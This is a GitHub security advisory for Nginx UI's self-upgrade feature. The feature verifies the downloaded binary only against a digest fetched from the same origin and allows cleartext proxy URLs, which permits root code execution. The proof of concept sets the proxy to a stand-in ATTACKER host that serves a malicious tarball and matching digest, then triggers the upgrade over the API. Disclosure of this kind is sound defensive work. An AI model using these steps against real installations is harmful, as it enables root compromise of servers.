GHSA-662p-52hx-cmh2 Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM

• Go github.com/0xJacky/Nginx-UI: >= 1.9.10-0.20250517140552-daee3ac7ade1, < 1.9.10-0.20260728114330-580585516dd8 → fixed in 1.9.10-0.20260728114330-580585516dd8

Summary The self-upgrade downloads the release binary and its checksum (`*.tar.gz` and `*.tar.gz.digest`) through the SAME endpoint (`version.GetUrl()`, which is `github_proxy` or, by default, the project's `cloud.nginxui.com` mirror), and verifies the binary ONLY by comparing it to that digest: `digestFileContent == DigestSHA512(tarName)`. Both the binary and the digest come from the same origin, and there is NO cryptographic signature / public-key verification. The downloaded binary then replaces the running executable (`selfupdate.CommitBinary`) and the process restarts, so the binary runs as the nginx-ui user (typically root). Because integrity rests only on a digest fetched from the same place as the binary, anyone who controls that download path can substitute a malicious binary plus a matching digest and obtain code execution as root on the next upgrade. Additionally, the `github_proxy` setting accepts `http://` URLs, so the binary+digest can be fetched over cleartext. Affected code • `internal/version/url.go GetUrl(path)` = `/` — used for BOTH the binary and the digest. • `internal/upgrader/upgrade.go DownloadLatestRelease`: digest URL and binary URL are both wrapped with `GetUrl()`, fetched, and checked with `digestFileContent == DigestSHA512(tarName)`. No signature verification anywhere in `internal/upgrader/`. • `selfupdate.CommitBinary` then replaces the running binary; the process restarts. • `settings/http.go`: `GithubProxy` accepts any URL (`binding:"omitempty,url"`), including `http://`. Attack scenarios A. Compromised mirror / CDN (primary). By default the binary+digest are routed through `cloud.nginxui.com`. If that mirror (or the GitHub release CDN) is compromised — or DNS/BGP is hijacked — it can serve a malicious binary + matching digest to EVERY instance that upgrades, yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the mirror). A binary signature would prevent this. B. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of `github_proxy`; the field accepts `http://`, so the binary+digest are fetched in cleartext. An attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router) substitutes a malicious binary + matching digest -> root RCE on the next upgrade. C. (mechanism demonstration) An authenticated user sets `github_proxy` to a server they control and triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no role separation) such a user is admin-equivalent, so on its own this path is self-inflicted — it is included only to demonstrate that an unsigned attacker binary is accepted and executed. Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — mechanism An attacker HTTP server serves any `*.tar.gz` -> a malicious tarball (whose `nginx-ui` is a script that writes a marker as whoever runs it) and any `*.digest` -> the SHA-512 of that tarball. 1. Set the download origin to the attacker server (here via `github_proxy`; in scenarios A/B this is instead a compromised mirror / MITM): `POST /api/settings` with `http.github_proxy = http://ATTACKER:8890` -> 200. The field accepts the http URL. 2. Trigger the upgrade: WS `GET /api/upgrade/perform`, send `{"channel":"stable"}`. 3. Observed: • The attacker server received BOTH `GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digest` and `.../nginx-ui-linux-64.tar.gz` (over cleartext http). • WS: "Downloading latest release" -> "Performing core upgrade" -> restart. The attacker tarball's digest matched (attacker supplied both) -> integrity check PASSED, no signature checked. • Inside the container: `/tmp/UPGRADE_PWNED` = `UPGRADE_RCE_EXECUTED uid=0` -> the malicious binary replaced nginx-ui and EXECUTED AS ROOT. Impact Root code execution on upgrade. Realistically reached by compromising the trusted download source (mirror/CDN, scenario A — fleet-wide) or by MITM of a cleartext http proxy (scenario B). A cryptographic signature on the release binary would prevent all of these. Honest scope / caveats • Live-verified: the integrity-bypass MECHANISM — an unsigned binary plus a same-origin digest is accepted and executed as root, and the binary+digest are fetched over cleartext http when an http proxy is configured. This was demonstrated via scenario C (attacker-controlled proxy). • NOT staged (threat-model assumptions, not PoC artifacts): actually compromising `cloud.nginxui.com` / the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are standard attacker capabilities, marked here as analysis. • The upgrade is operator-triggered (UI:R). The default flow uses HTTPS to `cloud.nginxui.com`+GitHub plus the digest, so this is not "zero integrity" — the gap is the absence of a signature, which matters when the source is compromised or the transport is cleartext (http proxy). Suggested fix Verify the release binary against a cryptographic signature with a public key pinned in the nginx-ui binary (or a digest fetched over an independent, pinned channel), not a digest from the same origin as the binary. Reject `http://` for `github_proxy` (require https). Consider treating `github_proxy` as a protected setting. Dedup / novelty Distinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup tampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade integrity (checked osv.dev and the GitHub advisory database). Appears novel.